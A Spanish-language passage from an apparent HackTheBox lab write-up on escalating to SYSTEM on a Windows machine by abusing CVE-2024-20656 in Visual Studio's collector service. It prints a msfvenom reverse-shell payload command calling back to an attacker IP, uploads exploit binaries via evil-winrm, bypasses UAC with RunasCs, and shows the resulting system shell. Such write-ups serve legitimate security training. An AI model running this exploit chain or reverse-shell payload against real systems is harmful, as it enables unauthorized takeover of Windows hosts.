"C:\Program Files (x86)\Microsoft Visual Studio\Shared\Common\DiagnosticsHub.Collection.Service\StandardCollector.Service.exe" False VSStandardCollectorService150
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24060.7-0\NisSrv.exe" True WdNisSvc
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24060.7-0\MsMpEng.exe" True WinDefend
"C:\Program Files\Windows Media Player\wmpnetwk.exe" False WMPNetworkSvc
Uno se los servicios está relacionado a Visual Studio
, llamado VSStandardCollectorService150
.
Buscando por vulnerabilidades para Visual Studio
en MITRE muestra muchas. Entre ellas encontramos la vulnerabilidad CVE-2024-20656 para VSStandardCollectorService150
. Tenemos este blog explicando esta vulnerabilidad. En resumen, esta vulnerabilidad toma ventaja de escribir archivos, mientras el servicio es ejecutado, en una carpeta temporal sin restricciones, cuyo dueño es nt authority/system
, para escribir archivos/enlaces simbólicos a archivos maliciosos y ejecutarlos con privilegios.
Si revisamos procesos corriendo en Windows
usando evil-winrm
obtenemos un error:
*Evil-WinRM* PS C:\Users\Emily\Documents> Get-Service -Name "VSStandardCollectorService150"
Cannot find any service with service name 'VSStandardCollectorService150'.
At line:1 char:1
+ Get-Service -Name "VSStandardCollectorService150"
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (VSStandardCollectorService150:String) [Get-Service], ServiceCommandException
+ FullyQualifiedErrorId : NoServiceFoundForGivenName,Microsoft.PowerShell.Commands.GetServiceCommand
Pero si usamos la sesión de CMD
obtenida con RunasCs
sí somos capaces de acceder a este servicio:
C:\Windows\system32>powershell.exe -command Get-Service -Name "VSStandardCollectorService150"
powershell.exe -command Get-Service -Name "VSStandardCollectorService150"
Status Name DisplayName
------ ---- -----------
Running VSStandardColle... Visual Studio Standard Collector Se...
Esto nos da una leve pista para después: en la sesión obtenida con RunasCs
somos capaces de acceder a servicios y comandos los cuales no somos capaces de acceder en una sesión con evil-winrm
(WinRM
).
Buscando por la vulnerabilidad para Visual Studio
encontramos además este repositorio. No obstante, tratar de buildearlo y compilarlo no funcionó para mí. En su lugar, utilizaré un fork de aquel repositorio. Siguiendo los pasos dados en aquel fork, debemos primeros crear un archivo .exe
que nos envie una reverse shell con msfvenom
:
❯ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.2 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o payload.exe
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
Saved as: payload.exe
Usamos la sesión de emily
a través de evil-winrm
para subir todos los archivos en un directorio llamado c:\exploit
. Creamos el directorio:
*Evil-WinRM* PS C:\Users\Emily\Downloads> mkdir c:\exploit
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 12/8/2024 6:03 PM exploit
y subimos todos los archivos necesarios utilizando la función upload
de evil-winrm
:
*Evil-WinRM* PS C:\Users\Emily\Documents> cd c:\exploit
*Evil-WinRM* PS C:\exploit> upload payload.exe
Info: Uploading /home/gunzf0x/HTB/HTBMachines/Medium/Compiled/exploits/payload.exe to C:\exploit\payload.exe
Data: 98400 bytes of 98400 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\exploit> upload RunasCs.exe runascs.exe
Info: Uploading /home/gunzf0x/HTB/HTBMachines/Medium/Compiled/exploits/RunasCs.exe to C:\exploit\runascs.exe
Data: 68948 bytes of 68948 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\exploit> upload Expl.exe
Info: Uploading /home/gunzf0x/HTB/HTBMachines/Medium/Compiled/exploits/CVE-2024-20656/Expl.exe to C:\exploit\Expl.exe
Data: 346792 bytes of 346792 bytes copied
Info: Upload successful!
Una vez subidos todos los archivos, pasamos de una sesión con evil-winrm
a una sesión con CMD
usando RunasCs
, bypasseando el UAC
. Empezamos un listener por el puerto 443
y nos enviamos una reverse shell usando RunasCs
.
User Account Control (UAC)
, si no usamos RunasCs
, cuando ejecutemos el exploit obtendremos el un error al ejecutarlo: The Windows Installer Service could not be accessed. This can occur if the Windows Installer is not correctly installed. Contact your support personnel for assistance.
en la cadena de ataque más tarde. El mensaje claramente muestra un error relacionado a permisos, lo cual sospecho que tiene que ver con problemas con UAC
y es bypasseado con RunasCs
.Luego, en la shell obtenida con RunasCs
, pasamos de una CMD
a Powershell
:
C:\Windows\system32>powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:\Windows\system32>
Exportamos la ruta absoluta del binario VSDiagnostics.exe
tal cual explica el repositorio forkeado:
PS C:\Windows\system32> $VSDiagnostics = Get-Item "C:\\*\\Microsoft Visual Studio\\*\\Community\\Team Tools\\DiagnosticsHub\\Collector\\VSDiagnostics.exe" | Select -last 1
$VSDiagnostics = Get-Item "C:\\*\\Microsoft Visual Studio\\*\\Community\\Team Tools\\DiagnosticsHub\\Collector\\VSDiagnostics.exe" | Select -last 1
Empezamos un nuevo listener con netcat
:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
y ejecutamos el exploit:
PS C:\Windows\system32> c:\exploit\Expl.exe $VSDiagnostics.FullName "c:\exploit\payload.exe"
c:\exploit\Expl.exe $VSDiagnostics.FullName "c:\exploit\payload.exe"
[+] VSDiagnostics: C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\Team Tools\DiagnosticsHub\Collector\VSDiagnostics.exe
[+] Payload: c:\exploit\payload.exe
Obtenemos así una shell como nt authority/system
:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.26] 60924
Microsoft Windows [Versin 10.0.19045.4651]
(c) Microsoft Corporation. Todos los derechos reservados.
C:\ProgramData\Microsoft\VisualStudio\SetupWMI>whoami
whoami
nt authority\system
The Windows Installer Service could not be accessed.
luego de la línea [+] Payload
cuando ejecutamos Expl.exe
, esto puede significar que tenemos algunos problemas con los permisos y por esto es que se recomienda ejecutar la cadena de ataque desde la sesión con RunasCs
(y puede que tengamos que reiniciar la máquina si esto falla jeje 😅).GG. Podemos obtener la flag de root
en el Desktop del usuario Administrator.
~Happy Hacking.